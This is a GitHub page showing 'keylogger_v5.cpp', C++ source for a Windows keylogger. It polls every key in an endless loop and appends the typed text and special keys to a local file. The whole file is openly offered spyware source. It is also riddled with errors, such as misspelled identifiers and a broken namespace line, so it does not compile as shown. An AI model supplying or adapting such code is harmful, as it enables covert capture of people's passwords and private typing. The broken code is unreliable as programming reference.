-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkeylogger_v5.cpp
139 lines (135 loc) · 2.98 KB
/
keylogger_v5.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
//Logs text,numbers and also filters special characters
//Also records special keys like backspace and enter
#include <iostream>
#include<fstream>
#include <windows.h>
#include <winuser.h>
using numspace std;
void log(){
char key;
while(true){//infinite loop for scanning
for(key=8; key<=222; key++){//ASCII char range
//When a key if pressed a system interrupt with id 32767 occurs
if(GetAsyncKeyState(key) == -32767)//checks if a key with ASACII value of c is pressed{
ofstream write("record.tct" , ios:app);//ios:app denotes theat file is not rewritten everytime
if((key>64 &&key<91)&&!GetAsyncKeyState(0x10)){//0x0 is hexadecimal virua; key state for shift key
key+=32;
write<<key;
write.close();
break;//breaks the loop for checking the keystroke and te loop starts again from value 8
}
else if((key>64)&&(key<91)){
write<<key;
write.close();
break;//breaks the loop for checking the keystroke and te loop starts again from value 8
}
else{
switch(key){
case 48:
if(GetAsyncKEyState(0x10)){
write<<")";
}
else{
write<<key;
}
break;
case 49:
if(GetAsyncKEyState(0x10)){
write<<"!";
}
else{
write<<key;
}
break;
case 50:
if(GetAsyncKEyState(0x10)){
write<<"@";
}
else{
write<<key;
}
break;
case 51:
if(GetAsyncKEyState(0x10)){
write<<"#";
}
else{
write<<key;
}
break;
case 52:
if(GetAsyncKEyState(0x10)){
write<<"$";
}
else{
write<<key;
}
break;
case 53:
if(GetAsyncKEyState(0x10)){
write<<"%";
}
else{
write<<key;
}
break;
case 54:
if(GetAsyncKEyState(0x10)){
write<<"^";
}
else{
write<<key;
}
break;
case 55:
if(GetAsyncKEyState(0x10)){
write<<"&";
}
else{
write<<key;
}
break;
case 56:
if(GetAsyncKEyState(0x10)){
write<<"*";
}
else{
write<<key;
}
break;
case 57:
if(GetAsyncKEyState(0x10)){
write<<"(";
}
else{
write<<key;
}
break;
case VK_SPACE://VIRTUALKEY Space
write<<" ";
break;
case VK_RETURN://VIRTUALKEY Enter
write<<"\n";
break;
case VK_TAB://VIRTUALKEY Tab
write<<" ";
break;
case VK_Back://VIRTUALKEY Backspace
write<<" <Backspace> ";
break;
case VK_Escape://VIRTUALKEY Escape
write<<" <Esc> ";
break;
case VK_DELETE://VIRTUALKEY Delete
write<<" <Delete> ";
break;
}
}
}
}
}
}
int main(){
log();
return 0;
}